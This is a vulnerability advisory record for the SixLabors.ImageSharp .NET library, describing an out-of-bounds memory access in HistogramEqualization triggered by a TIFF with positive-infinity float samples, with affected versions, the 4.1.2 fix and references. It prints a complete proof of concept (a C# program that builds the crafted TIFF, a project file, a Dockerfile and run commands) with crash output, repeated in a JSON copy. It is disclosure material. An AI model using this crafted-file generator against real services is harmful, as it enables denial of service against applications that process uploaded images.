GHSA-J3P4-WP97-RPH4

Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24
VLAI
Summary
ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index
Details

Summary

SixLabors.ImageSharp can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access.

This report covers HistogramEqualization only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected range: >= 2.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with AccessViolationException, while the finite 0.5 control completes on each tested release.

Details

ColorNumerics.GetBT709Luminance can produce a luminance that does not map to a valid histogram index. GrayscaleLevelsRowOperation.Invoke then uses that result as an unchecked Unsafe.Add offset into the histogram.

The reproduction reaches this code through the public HistogramEqualization() extension. It does not test or claim the Adaptive Histogram Equalization or AutoLevel paths.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes HistogramEqualization().

Observed result:

mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133

The control is identical except samples are 0.5:

mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
completed
Docker exit status: 0

When the same exploit binary was invoked through a shell inside the container, the shell printed Aborted and reported status 134. The direct docker run result above is the result for the supplied Docker commands.

No active exploitation is known.

Complete PoC files

Program.cs:

using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;

static class Program
{
    private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
    {
        ifd.AddRange(BitConverter.GetBytes(tag));
        ifd.AddRange(BitConverter.GetBytes(type));
        ifd.AddRange(BitConverter.GetBytes(count));
        ifd.AddRange(BitConverter.GetBytes(value));
    }

    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
    private static byte[] BuildTiff(float sample)
    {
        const int width = 8;
        const int entries = 10;
        const int ifdOffset = 8;
        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
        List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
        List<byte> ifd = [];
        ifd.AddRange(BitConverter.GetBytes((ushort)entries));
        const ushort Short = 3, Long = 4;
        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth
        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength
        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample
        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none
        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero
        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets
        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel
        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip
        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts
        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float
        ifd.AddRange([0, 0, 0, 0]);
        file.AddRange(ifd);
        for (int i = 0; i < width; i++)
        {
            file.AddRange(BitConverter.GetBytes(sample));
        }

        return file.ToArray();
    }

    private static void Main(string[] args)
    {
        string mode = args.FirstOrDefault() ?? "exploit";
        float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
        byte[] tiff = BuildTiff(sample);
        Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");

        using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
        Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
        image.Mutate(x => x.HistogramEqualization());
        Console.Error.WriteLine("completed");
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]

Run:

docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:24:23Z",
    "nvd_published_at": "2026-10-06T18:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image\u003cHalfVector4\u003e` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 2.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=\u003cInfinity, Infinity, Infinity, 1\u003e\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=\u003c0.5, 0.5, 0.5, 1\u003e\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n    private static void AddEntry(List\u003cbyte\u003e ifd, ushort tag, ushort type, uint count, uint value)\n    {\n        ifd.AddRange(BitConverter.GetBytes(tag));\n        ifd.AddRange(BitConverter.GetBytes(type));\n        ifd.AddRange(BitConverter.GetBytes(count));\n        ifd.AddRange(BitConverter.GetBytes(value));\n    }\n\n    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n    private static byte[] BuildTiff(float sample)\n    {\n        const int width = 8;\n        const int entries = 10;\n        const int ifdOffset = 8;\n        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n        List\u003cbyte\u003e file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n        List\u003cbyte\u003e ifd = [];\n        ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n        const ushort Short = 3, Long = 4;\n        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth\n        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength\n        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample\n        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none\n        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero\n        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets\n        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel\n        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip\n        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts\n        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float\n        ifd.AddRange([0, 0, 0, 0]);\n        file.AddRange(ifd);\n        for (int i = 0; i \u003c width; i++)\n        {\n            file.AddRange(BitConverter.GetBytes(sample));\n        }\n\n        return file.ToArray();\n    }\n\n    private static void Main(string[] args)\n    {\n        string mode = args.FirstOrDefault() ?? \"exploit\";\n        float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n        byte[] tiff = BuildTiff(sample);\n        Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n        using Image\u003cHalfVector4\u003e image = Image.Load\u003cHalfVector4\u003e(tiff);\n        Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n        image.Mutate(x =\u003e x.HistogramEqualization());\n        Console.Error.WriteLine(\"completed\");\n    }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n  \u003c!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --\u003e\n  \u003cItemGroup\u003e\n    \u003cReference Include=\"SixLabors.ImageSharp\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n    \u003cReference Include=\"System.IO.Hashing\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf \u0027%s\\n\u0027 \u0027\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\u003cPropertyGroup\u003e\u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\u003c/PropertyGroup\u003e\u003cItemGroup\u003e\u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\u003c/ItemGroup\u003e\u003c/Project\u003e\u0027 \u003e fetch.csproj \\\n    \u0026\u0026 dotnet restore fetch.csproj --nologo \\\n    \u0026\u0026 rm fetch.csproj \\\n    \u0026\u0026 dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```",
  "id": "GHSA-j3p4-wp97-rph4",
  "modified": "2026-10-07T20:24:23Z",
  "published": "2026-10-07T20:24:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j3p4-wp97-rph4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106113"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/3187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/c4c4bf292298c026df470db1a17ff826515fd95d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SixLabors/ImageSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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